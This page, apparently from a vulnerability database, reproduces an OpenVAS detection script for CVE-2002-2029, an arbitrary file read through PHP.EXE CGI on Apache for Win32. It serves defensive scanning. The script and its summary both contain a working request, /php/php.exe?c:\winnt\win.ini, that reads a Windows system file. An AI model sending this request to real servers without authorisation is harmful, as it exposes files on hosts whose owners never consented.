PHP.EXE / Apache Win32 Arbitrary File Reading Vulnerability on Win32 platform
Reporter | Title | Published | Views | Family All 5 |
---|---|---|---|---|
![]() | Apache Win32 ScriptAlias php.exe Arbitrary File Access | 25 Jan 200200:00 | – | nessus |
![]() | CVE-2002-2029 | 31 Dec 200205:00 | – | nvd |
![]() | CVE-2002-2029 | 14 Jul 200504:00 | – | cvelist |
![]() | CVE-2002-2029 | 14 Jul 200504:00 | – | cve |
![]() | PHP.EXE / Apache HTTP Server Win32 Arbitrary File Reading Vulnerability | 3 Nov 200500:00 | – | openvas |
Source | Link |
---|---|
php | www.php.net/ |
securitytracker | www.securitytracker.com/alerts/2002/Jan/1003104.html |
# OpenVAS Vulnerability Test
# $Id: php_apache_win32_default.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: PHP.EXE / Apache Win32 Arbitrary File Reading Vulnerability
#
# Authors:
# Matt Moore <[email protected]>
#
# Copyright:
# Copyright (C) 2002 Matt Moore
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "A configuration vulnerability exists for PHP.EXE cgi running on Apache
for Win32 platforms. It is reported that the installation text recommends
configuration options in httpd.conf that create a security vulnerability,
allowing arbitrary files to be read from the host running PHP. Remote users
can directly execute the PHP binary:
http://www.somehost.com/php/php.exe?c:\winnt\win.ini";
tag_solution = "Obtain the latest version from http://www.php.net";
if(description)
{
script_id(10839);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2002-2029");
script_bugtraq_id(3786);
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
name = "PHP.EXE / Apache Win32 Arbitrary File Reading Vulnerability";
script_name(name);
script_xref(name : "URL" , value : "http://www.securitytracker.com/alerts/2002/Jan/1003104.html");
script_xref(name : "URL" , value : "http://www.php.net");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2002 Matt Moore");
family = "Web application abuses";
script_family(family);
script_dependencies("find_service.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("http_func.inc");
port = get_http_port(default:80);
if ( ! can_host_php(port:port) ) exit(0);
req = http_get(item:"/php/php.exe?c:\winnt\win.ini", port:port);
soc = http_open_socket(port);
if(soc)
{
send(socket:soc, data:req);
r = http_recv(socket:soc);
http_close_socket(soc);
if("[windows]" >< r)
security_message(port);
}
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo